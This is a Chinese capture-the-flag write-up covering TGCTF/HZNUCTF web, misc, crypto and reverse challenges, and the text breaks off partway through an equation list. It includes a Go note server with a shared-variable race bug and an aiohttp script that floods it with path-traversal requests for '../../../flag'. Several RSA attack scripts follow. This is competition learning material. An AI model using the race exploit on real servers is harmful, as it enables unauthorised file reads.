146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
package main

import (
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"text/template"
"time"
)

type Note struct {
Name string
ModTime string
Size int64
IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
Notes []Note
Error string
}

func blackJack(path string) error {

if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}

return nil
}

func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
safe := templates.ExecuteTemplate(w, tmpl, data)
if safe != nil {
http.Error(w, safe.Error(), http.StatusInternalServerError)
}
}

func renderError(w http.ResponseWriter, message string, code int) {
w.WriteHeader(code)
templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
"Code": code,
"Message": message,
})
}

func main() {
os.Mkdir("notes", 0755)

safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes")
if safe != nil {
renderError(w, "无法读取目录", http.StatusInternalServerError)
return
}

var notes []Note
for _, f := range files {
if f.IsDir() {
continue
}

info, _ := f.Info()
notes = append(notes, Note{
Name: f.Name(),
ModTime: info.ModTime().Format("2006-01-02 15:04"),
Size: info.Size(),
IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
})
}

renderTemplate(w, "index.html", PageData{Notes: notes})
})

http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

file, safe := os.Open(filepath.Join("notes", name))
if safe != nil {
renderError(w, "文件不存在", http.StatusNotFound)
return
}

data, safe := io.ReadAll(io.LimitReader(file, 10240))
if safe != nil {
renderError(w, "读取失败", http.StatusInternalServerError)
return
}

if strings.HasSuffix(name, ".md") {
w.Header().Set("Content-Type", "text/html")
fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
} else {
w.Header().Set("Content-Type", "text/plain")
w.Write(data)
}
})

http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
renderError(w, "方法不允许", http.StatusMethodNotAllowed)
return
}

name := r.FormValue("name")
content := r.FormValue("content")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
name += ".md"
} else {
name += ".txt"
}

if len(content) > 10240 {
content = content[:10240]
}

safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
if safe != nil {
renderError(w, "保存失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

safe := os.Remove(filepath.Join("notes", name))
if safe != nil {
renderError(w, "删除失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

// 静态文件服务
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

srv := &http.Server{
Addr: ":9046",
ReadTimeout: 10 * time.Second,
WriteTimeout: 15 * time.Second,
}
log.Fatal(srv.ListenAndServe())
}

以前从没打过go的web,太菜了。这里看这部分,因为在/read路由中并没有定义一个新的局部变量,而是给main函数的safe赋值,这就导致了多个goroutine使用的同一个变量,那么这里就存在变量竞态条件漏洞。我们需要先正常访问/read路由,使safe的值为nil,然后再次访问,这时safe的值还仍为nil的话,我们就能绕过限制读到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ... 前面代码 ...

func main() {
os.Mkdir("notes", 0755)

safe := blackJack("/flag") // 此处定义的 safe 变量是问题的根源

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes") // 🚨 这里新建了局部变量 safe
// ... 后续处理 ...
})

http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
if safe = blackJack(name); safe != nil { // 🚨 这里修改的是外层 main() 的 safe 变量
// ... 后续处理 ...
}
})

// /write 和 /delete 处理函数中也存在相同问题
}

由于这个操作的窗口非常的小,我们需要大量的线程去完成这个攻击我们可以用aiohttp库来实现,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import aiohttp
import asyncio
import logging
from datetime import datetime

# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler('async_attack.log'),
logging.StreamHandler()
]
)

target = "http://localhost:8080/read"
found_event = asyncio.Event()
attack_count = 0
count_lock = asyncio.Lock()

async def attack_client(session):
global attack_count
try:
while not found_event.is_set():
# 发送合法请求(不计入攻击次数)
async with session.get(target, params={"name": "valid.txt"}) as legit_resp:
await legit_resp.read()

# 发送恶意请求(计入攻击次数)
async with session.get(target, params={"name": "../../../flag"}) as evil_resp:
content = await evil_resp.text()

# 原子递增计数器
async with count_lock:
attack_count += 1
current_count = attack_count
if current_count % 50 == 0: # 每50次输出进度
logging.info(f"正在发起第 {current_count} 次攻击尝试...")

if "TGCTF{" in content:
async with count_lock:
logging.critical(f"发现Flag! 内容: {content.split('\n')[0]}")
logging.critical(f"成功攻破!共计尝试次数: {current_count}")
found_event.set()
return

except Exception as e:
logging.error(f"请求异常: {str(e)}")

async def main():
start_time = datetime.now()
logging.info("="*50)
logging.info("异步攻击启动 时间: %s", start_time.strftime("%Y-%m-%d %H:%M:%S"))
logging.info(f"目标地址: {target}")

connector = aiohttp.TCPConnector(limit=0)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [asyncio.create_task(attack_client(session)) for _ in range(500)]
await asyncio.gather(*tasks)

duration = datetime.now() - start_time
logging.info(f"攻击结束 总耗时: {duration.total_seconds():.2f}秒")

if __name__ == "__main__":
asyncio.run(main())

TGCTF{78c986cd-eace-8eb6-2c9c-04924c738468}

Misc

简单签到,关注:”杭师大网安“谢谢喵🐱

关注即可

TGCTF{Efforts_to_create_the_strength, attitude_determines_altitude.}

next is the end(l2xcty)

zip拖进010,复制路径,用python读一下即可

flag{so_great!}

AAAAAAAA·真·签到(l2xcty)

UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}—–>TGCTF{….}

发现规律:U向左移动一位,G不动,B向右移动一位,R向右移动两位,C向右移动三位,依次类推:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def shift_char(c, shift):
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
return chr((ord(c) - base + shift) % 26 + base)
else:
return c # 非字母不变

cipher = "UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}"
result = ""

for i, c in enumerate(cipher):
shift = i - 1 # 从第一个字符开始为 -1,第二个为 0,第三个为 +1...
result += shift_char(c, shift)

print("解密结果:", result)

TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}

你的运气是好是坏(Mia)

猜的:114514

TGCTF{114514}

where it is(osint)(Mia)

放大图片隐约能看到一个大学名字,结合yandex和google识图,最后确认为台北市内湖社区大学

然后跟进搜索附件车站即可找到正确的站点

TGCTF{港墘站}

这是啥o_o(Mia)

题目给了个GIF,分解后有多个图片左上角有二维码,拿出来拼一下,然后就被耍了

注意到每个G开头的数据块都藏着一个字符,连起来就是:TGCTF{You_caught_up_with_time!}

这个字段其实是时间间隔,这题是GIF帧间隔隐写,如下:

TGCTF{You_caught_up_with_time!}

图片里的秘密(Mia)

zsteg拿到zip密码,解压后第一张图片有后面一半flag _attentive_and_conscientious}

另一张图片010打开发现塞了一个特别大的IDAT层,把多余的IDAT层删了,留这一个,然后用puzz爆破一下宽高,得到一张新的图片,得到flag的前面部分:flag{you_are_so,但是flag还没交题目下架了…

flag{you_are_so_attentive_and_conscientious}

TeamGipsy&ctfer(Mia)

按照这个https://blog.csdn.net/m0_67531133/article/details/137978750改密码就可,进入系统

查看历史命令可以发现用docker跑过过mysql,run起来看看

然后在数据库里找到了flag

HZNUCTF{0H!_YOu_are_really_the_TeamGipsy_ctfer}

ez_zip(Mia)

第一层是爆破密钥,密钥为20250412,抽象(先用rokyou没跑出来。然后得到另一个zip,bk查一下发现是ZipCrypto Deflate的压缩,可以明文攻击的,将sh512.txt里面内容sha512一下,crc32是对的上的,开打

这里需要压缩一下,不然攻击不成功,恢复一个新的zip出来

里面的flag.zip是损坏的,这里有两种解法:

预期解:

修复zip,求解

非预期:

flag.zip是未加密未压缩的,那么frData字段就是zlib压缩的内容,直接将这部分拿出来,加上zlib头(789C),zlib解压即可

TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

Crypto

宝宝rsa(l2xcty)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Util.number import *
from sympy import primerange
from gmpy2 import iroot
from math import gcd

# Part1 参数
p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483
q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531
c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322

# Part2 参数
n2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059
c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221
e2 = 3

# Part1 解密
n1 = p1 * q1
phi = (p1 - 1) * (q1 - 1)

# 暴力枚举可能的e值(18位素数范围:131072到262143)
found = False
for e in primerange(2**17, 2**18):
if gcd(e, phi) == 1: # 确保e与phi互质
try:
d = pow(e, -1, phi)
m = pow(c1, d, n1)
flag = long_to_bytes(m)

# 检查是否是合理的flag(可打印ASCII且包含常见flag格式)
if all(32 <= b < 127 for b in flag):
print(f"Found valid e: {e}")
print(f"Decrypted flag: {flag.decode()}")
found = True
break
except:
continue


# Part2 解密(e=3,低加密指数)
m2, exact = iroot(c2, e2)
if exact:
flag2 = long_to_bytes(m2)
print("Part2 解出:", flag2)
else:
print("Part2 失败")

解出两段flag拼接一下。

TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}

费克特尔(Mia)

题目给了如下参数:

1
2
3
c=670610235999012099846283721569059674725712804950807955010725968103642359765806
n=810544624661213367964996895060815354972889892659483948276203088055391907479553
e=65537

n很小,可以分解为多个素数,有如下公式求phi,然后求出d解密即可

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import libnum

c=670610235999012099846283721569059674725712804950807955010725968103642359765806
n=810544624661213367964996895060815354972889892659483948276203088055391907479553
e=65537


factors = [ 113,18251,2001511,214168842768662180574654641, 916848439436544911290378588839845528581]

phi_n = 1
for factor in factors:
phi_n *= (factor - 1)

d = libnum.invmod(e, phi_n)

m = pow(c, d, n)

flag = libnum.n2s(m)
print(flag)

# b'TGCTF{f4888_6abdc_9c2bd_9036bb}'

TGCTF{f4888_6abdc_9c2bd_9036bb}

mm不躲猫猫(Mia)

经典的多组n、c,这里用前20个就好了,然后每个c都解一下就好,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import  gmpy2
import libnum
from Crypto.Util.number import long_to_bytes

e= 65537
n1 = 104620414822063385079326749509982471870030893600285414264987224935916290272601764523383209465433613538037960991762459760833469310204135961581840403511596166088644211015428546275493892988418626726155859624501730928694822384537353845736516967991087412959351952563730377463899768183476698424362423043497737906623
c1 = 46039211893589761388229614285558239355119695176816949068907191054207506730440947101388028710988726734999719468830467682553990941948390688315715650976965231516653707125993971747796355564587123089802425266994022342763366946693028597366959030863496254672081216842747104144465753908738135854355761032614829767801

n2 = 136155385285881847647215965185525314111620437662648298206297512719879362719618304990758477078778565820295983050789197481446196249495631490160624235332536575107813683782766081951446123450465630897720159758797590205308439297488584076508093180968162324630134629769513496515404803402321721368832460090329222421827
c2 = 89662183394841207920629365819797260101947925700835102302177181731227878954957449881945530912024549859105187175733895858270028583699811542603429941425305090712263572930206869292032730915960185806373681528825761306228562959997158901987273897776177362099560025615451752245984242926480186459915665627188585304468

# 此处省略18组n、c
n = []
c = []
p = []
for i in range(1,21):
n.append(eval('n'+str(i)))
c.append(eval('c'+str(i)))
data = list(zip(n,c))

for i in range(len(n)-1):
for j in range(i+1,len(n)):
if gmpy2.gcd(n[i],n[j]) != 1:
p = gmpy2.gcd(n[i],n[j])


for i in range(0,20):
q = n[i]//p
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c[i],d,n[i])
print(long_to_bytes(m))

'''
....
b'7g\xfd^\xdf\x16\xb2\xacu\x9f%s\xf7D4\xe5\xc0\xa3o\x04`\x1di\x0f\xc1(*d\xcc\xe3\x04\x05\xd8\x93&\xb0\x07\xf3aT\xf3u\x0c\xf0D\xd6\x82\x10\x8c9\xce\xea\xdbk\x94\x87\x10\xb9>`f\xf4\r\xf2h\xf0\x8a\xf7\x87\x81\x01\xe8\xb8\x15|\xad\xf5\xeal\xe5\x81e?\xe1\x8f\xbf\xe5E\xcf\xb0\xbc\xfe\x0e\xd4\xca@1\xc5\xe8\x1d[0\xff\x11z+\xfe\xc4\x91\xa0G\xb6H\x94U\xdfY\x11\x14V\xa2\xbb\xdf\xd2\xf1\xdab\xa8'
b'TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}'
b'\x93\xf9\x97\x88{\xc8NL\xa0m\x82\xc5\xab\xf2\xc0W\xfb\x00$\xab\xd7W\x8e\x9d\x17c\xedn\xd4\xc4\xfb\xd7\x85`OXa\xa2P\x1c\xe4\x86\x8e\xe6=\xb2\x8aHZ\x1e\x14A\x11\xac\xf7"\xa4\xe6\xeb\xa0:\xae`\x8b7\x9c\x10j\xd8g\xfd\xe1\x00\x01\x9d\xb4a\x82\x87}\xb5\xbd\xa5\x9c\x1e\x90\x9b\xf9\x04\x81%\xae\x0f\x92X\x04\xe5\x91u\xee\x13\xb2ND0\xcdp\x81k#b\xdb\xddU\xad\x84\x1a(6\xcd\x16\xa8m\xad\x89\x83@a'
b'TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}'
'''

TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}

tRwSiAns(Mia)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flag import FLAG
from Crypto.Util.number import getPrime, bytes_to_long
import hashlib

def generate_key(bits=512):
p = getPrime(bits)
q = getPrime(bits)
return p * q, 3


def hash(x):
return int(hashlib.md5(str(x).encode()).hexdigest(), 16)


def encrypt(m, n, e):
x1, x2 = 307, 7
c1 = pow(m + hash(x1), e, n)
c2 = pow(m + hash(x2), e, n)
return c1, c2


m = bytes_to_long(FLAG)
n, e = generate_key()
c1, c2 = encrypt(m, n, e)
print(f"n = {n}")
print(f"e = {e}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")

n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839
e = 3
c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366
c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814

看这里可知,m1和m2存在线性关系,m+a、m+b,那么就是很经典的相关消息攻击

1
2
3
4
5
def encrypt(m, n, e):
x1, x2 = 307, 7
c1 = pow(m + hash(x1), e, n)
c2 = pow(m + hash(x2), e, n)
return c1, c2

在网上找一个脚本改一下就好,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from Crypto.Util.number import long_to_bytes

n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839
e = 3
c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366
c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814

def hash(x):
return int(hashlib.md5(str(x).encode()).hexdigest(), 16)

a = hash(307)
b = hash(7)

def franklinReiter(n,e,c1,c2,a,b):
R.<X>=PolynomialRing(Zmod(n))
f1 = (X+a)^e - c1
f2 = (X+b)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])

def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)

m=franklinReiter(n,e,c1,c2,a,b)
print(m)
print(type(m))
print(long_to_bytes(m))

# 934704341809188566136104161085954963681535062511867825458866876852347092885690638603811614685284692453168523873036202765260225065341
# <class 'sage.rings.integer.Integer'>
# b'TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}'

TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}

Reverse

Base64(Lin)

用头都能猜到加密函数是sub_140010E0

太长了,加了一堆混淆(出题人你一肚子坏水),扔给AI就知道了,就是简单的改码表,并且索引都被向右偏移了24位

这里把索引 (index - 24) % 24即可

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def decode(table,enc):
index = []
for i in range(len(enc)):
tmp = table.index(enc[i])
index.append(tmp % 64)

for i in range(0, len(index), 4):
a = (index[ i ] - 24) % 64 if i <len(index) else 40
b = (index[i + 1] - 24) % 64 if i + 1<len(index) else 40
c = (index[i + 2] - 24) % 64 if i + 2<len(index) else 40
d = (index[i + 3] - 24) % 64 if i + 3<len(index) else 40
sum = a << 18 | b << 12 | c << 6 | d

for j in range(3):
print(chr((sum >> ((2 - j) * 8)) & 0xff),end="")

table = 'GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI'
enc = 'AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF'# 删去了尾部等号
res = decode(table,enc)
print(res)

HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

水果忍者(Lin)

😨我勒个Unity,也不知道达到什么条件才能给flag

不管啦,dnspy启动!!

因为没有看到ILL2CPP的痕迹,所以这里直接用dnspy打开Assembly-CSharp.dll查看反编译的源码

加分就加分吧,🤔这里加密数据是干什么的?

翻翻代码看看…

(恍然大悟😋

Data,IV,Key这不我家AES加密吗?

flag出来啦!

(如果要正向得到flag,看了代码条件似乎是得分要达到99999999

…用了CE小开一下,但是什么也没有发生☹️

HZNUCTF{de20-70dd-4e62-b8d0-06e}

蛇年的本命语言(Lin)

pyinstxtractor解包得到pyc

pycdc将pyc还原成python代码,整理一下垃圾代码和变量名,起码人能读了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# Source Generated with Decompyle++
# File: output.pyc (Python 3.8)

from collections import Counter
print('Welcome to HZNUCTF!!!')
print('Plz input the flag:')
inputs = input()
counter = Counter(inputs)
O0o00 = ''.join(str(counter [c]) for c in inputs)

print('ans1: ', end='')
print(O0o00)
if O0o00 != '111111116257645365477364777645752361':
print('wrong_wrong!!!')
exit(1)

cnt_str = ''
for char in inputs:
if counter [char] > 0:
cnt_str += char + str(counter[char])
counter[char] = 0
equation = [ord(oOooo0OOO) for oOooo0OOO in (cnt_str)]
expr_list = [
7 * equation[0] == 504,
9 * equation[0] - 5 * equation[1] == 403,
(2 * equation[0] - 5 * equation[1]) + 10 * equation[2] == 799,
3 * equation[0] + 8 * equation[1] + 15 * equation[2] + 20 * equation[3] == 2938,
(5 * equation[0] + 15 * equation[1] + 20 * equation[2] - 19 * equation[3]) + 1 * equation[4] == 2042,
(7 * equation[0] + 1 * equation[1] + 9 * equation[2] - 11 * equation[3]) + 2 * equation[4] + 5 * equation[5] == 1225,
11 * equation[0] + 22 * equation[1] + 33 * equation[2] + 44 * equation[3] + 55 * equation[4] + 66 * equation[5] - 77 * equation[6] == 7975,
((21 * equation[0] + 23 * equation[1] + 3 * equation[2] + 24 * equation[3] - 55 * equation[4]) + 6 * equation[5] - 7 * equation[6]) + 15 * equation[7] == 229,
(2 * equation[0] + 26 * equation[1] + 13 * equation[2] + 0 * equation[3] - 65 * equation[4]) + 15 * equation[5] + 29 * equation[6] + 1 * equation[7] + 20 * equation[8] == 2107,
(10 * equation[0] + 7 * equation[1] + -9 * equation[2] + 6 * equation[3] + 7 * equation[4] + 1 * equation[5] + 22 * equation[6] + 21 * equation[7] - 22 * equation[8]) + 30 * equation[9] == 4037,
(15 * equation[0] + 59 * equation[1] + 56 * equation[2] + 66 * equation[3] + 7 * equation[4] + 1 * equation[5] - 122 * equation[6]) + 21 * equation[7] + 32 * equation[8] + 3 * equation[9] - 10 * equation[10] == 4950,
(((13 * equation[0] + 66 * equation[1] + 29 * equation[2] + 39 * equation[3] - 33 * equation[4]) + 13 * equation[5] - 2 * equation[6]) + 42 * equation[7] + 62 * equation[8] + 1 * equation[9] - 10 * equation[10]) + 11 * equation[11] == 12544,
(((23 * equation[0] + 6 * equation[1] + 29 * equation[2] + 3 * equation[3] - 3 * equation[4]) + 63 * equation[5] - 25 * equation[6]) + 2 * equation[7] + 32 * equation[8] + 1 * equation[9] - 10 * equation[10]) + 11 * equation[11] - 12 * equation[12] == 6585,
((((223 * equation[0] + 6 * equation[1] - 29 * equation[2] - 53 * equation[3] - 3 * equation[4]) + 3 * equation[5] - 65 * equation[6]) + 0 * equation[7] + 36 * equation[8] + 1 * equation[9] - 15 * equation[10]) + 16 * equation[11] - 18 * equation[12]) + 13 * equation[13] == 6893,
((((29 * equation[0] + 13 * equation[1] - 9 * equation[2] - 93 * equation[3]) + 33 * equation[4] + 6 * equation[5] + 65 * equation[6] + 1 * equation[7] - 36 * equation[8]) + 0 * equation[9] - 16 * equation[10]) + 96 * equation[11] - 68 * equation[12]) + 33 * equation[13] - 14 * equation[14] == 1883,
(((69 * equation[0] + 77 * equation[1] - 93 * equation[2] - 12 * equation[3]) + 0 * equation[4] + 0 * equation[5] + 1 * equation[6] + 16 * equation[7] + 36 * equation[8] + 6 * equation[9] + 19 * equation[10] + 66 * equation[11] - 8 * equation[12]) + 38 * equation[13] - 16 * equation[14]) + 15 * equation[15] == 8257,
((((23 * equation[0] + 2 * equation[1] - 3 * equation[2] - 11 * equation[3]) + 12 * equation[4] + 24 * equation[5] + 1 * equation[6] + 6 * equation[7] + 14 * equation[8] - 0 * equation[9]) + 1 * equation[10] + 68 * equation[11] - 18 * equation[12]) + 68 * equation[13] - 26 * equation[14]) + 15 * equation[15] - 16 * equation[16] == 5847,
(((((24 * equation[0] + 0 * equation[1] - 1 * equation[2] - 15 * equation[3]) + 13 * equation[4] + 4 * equation[5] + 16 * equation[6] + 67 * equation[7] + 146 * equation[8] - 50 * equation[9]) + 16 * equation[10] + 6 * equation[11] - 1 * equation[12]) + 69 * equation[13] - 27 * equation[14]) + 45 * equation[15] - 6 * equation[16]) + 17 * equation[17] == 18257,
((((25 * equation[0] + 26 * equation[1] - 89 * equation[2]) + 16 * equation[3] + 19 * equation[4] + 44 * equation[5] + 36 * equation[6] + 66 * equation[7] - 150 * equation[8] - 250 * equation[9]) + 166 * equation[10] + 126 * equation[11] - 11 * equation[12]) + 690 * equation[13] - 207 * equation[14]) + 46 * equation[15] + 6 * equation[16] + 7 * equation[17] - 18 * equation[18] == 12591,
(((((5 * equation[0] + 26 * equation[1] + 8 * equation[2] + 160 * equation[3] + 9 * equation[4] - 4 * equation[5]) + 36 * equation[6] + 6 * equation[7] - 15 * equation[8] - 20 * equation[9]) + 66 * equation[10] + 16 * equation[11] - 1 * equation[12]) + 690 * equation[13] - 20 * equation[14]) + 46 * equation[15] + 6 * equation[16] + 7 * equation[17] - 18 * equation[18]) + 19 * equation[19] == 52041,
((((((29 * equation[0] - 26 * equation[1]) + 0 * equation[2] + 60 * equation[3] + 90 * equation[4] - 4 * equation[5]) + 6 * equation[6] + 6 * equation[7] - 16 * equation[8] - 21 * equation[9]) + 69 * equation[10] + 6 * equation[11] - 12 * equation[12]) + 69 * equation[13] - 20 * equation[14] - 46 * equation[15]) + 65 * equation[16] + 0 * equation[17] - 1 * equation[18]) + 39 * equation[19] - 20 * equation[20] == 20253,
(((((((45 * equation[0] - 56 * equation[1]) + 10 * equation[2] + 650 * equation[3] - 900 * equation[4]) + 44 * equation[5] + 66 * equation[6] - 6 * equation[7] - 6 * equation[8] - 21 * equation[9]) + 9 * equation[10] - 6 * equation[11] - 12 * equation[12]) + 69 * equation[13] - 2 * equation[14] - 406 * equation[15]) + 651 * equation[16] + 2 * equation[17] - 10 * equation[18]) + 69 * equation[19] - 0 * equation[20]) + 21 * equation[21] == 18768,
(((((555 * equation[0] - 6666 * equation[1]) + 70 * equation[2] + 510 * equation[3] - 90 * equation[4]) + 499 * equation[5] + 66 * equation[6] - 66 * equation[7] - 610 * equation[8] - 221 * equation[9]) + 9 * equation[10] - 23 * equation[11] - 102 * equation[12]) + 6 * equation[13] + 2050 * equation[14] - 406 * equation[15]) + 665 * equation[16] + 333 * equation[17] + 100 * equation[18] + 609 * equation[19] + 777 * equation[20] + 201 * equation[21] - 22 * equation[22] == 111844,
(((((((1 * equation[0] - 22 * equation[1]) + 333 * equation[2] + 4444 * equation[3] - 5555 * equation[4]) + 6666 * equation[5] - 666 * equation[6]) + 676 * equation[7] - 660 * equation[8] - 22 * equation[9]) + 9 * equation[10] - 73 * equation[11] - 107 * equation[12]) + 6 * equation[13] + 250 * equation[14] - 6 * equation[15]) + 65 * equation[16] + 39 * equation[17] + 10 * equation[18] + 69 * equation[19] + 777 * equation[20] + 201 * equation[21] - 2 * equation[22]) + 23 * equation[23] == 159029,
(((520 * equation[0] - 222 * equation[1]) + 333 * equation[2] + 4 * equation[3] - 56655 * equation[4]) + 6666 * equation[5] + 666 * equation[6] + 66 * equation[7] - 60 * equation[8] - 220 * equation[9]) + 99 * equation[10] + 73 * equation[11] + 1007 * equation[12] + 7777 * equation[13] + 2500 * equation[14] + 6666 * equation[15] + 605 * equation[16] + 390 * equation[17] + 100 * equation[18] + 609 * equation[19] + 99999 * equation[20] + 210 * equation[21] + 232 * equation[22] + 23 * equation[23] - 24 * equation[24] == 2762025,
((((1323 * equation[0] - 22 * equation[1]) + 333 * equation[2] + 4 * equation[3] - 55 * equation[4]) + 666 * equation[5] + 666 * equation[6] + 66 * equation[7] - 660 * equation[8] - 220 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 100 * equation[12] + 777 * equation[13] + 2500 * equation[14] + 6666 * equation[15] + 605 * equation[16] + 390 * equation[17] + 100 * equation[18] + 609 * equation[19] + 9999 * equation[20] + 210 * equation[21] + 232 * equation[22] + 23 * equation[23] - 24 * equation[24]) + 25 * equation[25] == 1551621,
(((((777 * equation[0] - 22 * equation[1]) + 6969 * equation[2] + 4 * equation[3] - 55 * equation[4]) + 666 * equation[5] - 6 * equation[6]) + 96 * equation[7] - 60 * equation[8] - 220 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 100 * equation[12] + 777 * equation[13] + 250 * equation[14] + 666 * equation[15] + 65 * equation[16] + 90 * equation[17] + 100 * equation[18] + 609 * equation[19] + 999 * equation[20] + 21 * equation[21] + 232 * equation[22] + 23 * equation[23] - 24 * equation[24]) + 25 * equation[25] - 26 * equation[26] == 948348,
((((((97 * equation[0] - 22 * equation[1]) + 6969 * equation[2] + 4 * equation[3] - 56 * equation[4]) + 96 * equation[5] - 6 * equation[6]) + 96 * equation[7] - 60 * equation[8] - 20 * equation[9]) + 99 * equation[10] + 3 * equation[11] + 10 * equation[12] + 707 * equation[13] + 250 * equation[14] + 666 * equation[15] + -9 * equation[16] + 90 * equation[17] + -2 * equation[18] + 609 * equation[19] + 0 * equation[20] + 21 * equation[21] + 2 * equation[22] + 23 * equation[23] - 24 * equation[24]) + 25 * equation[25] - 26 * equation[26]) + 27 * equation[27] == 777044,
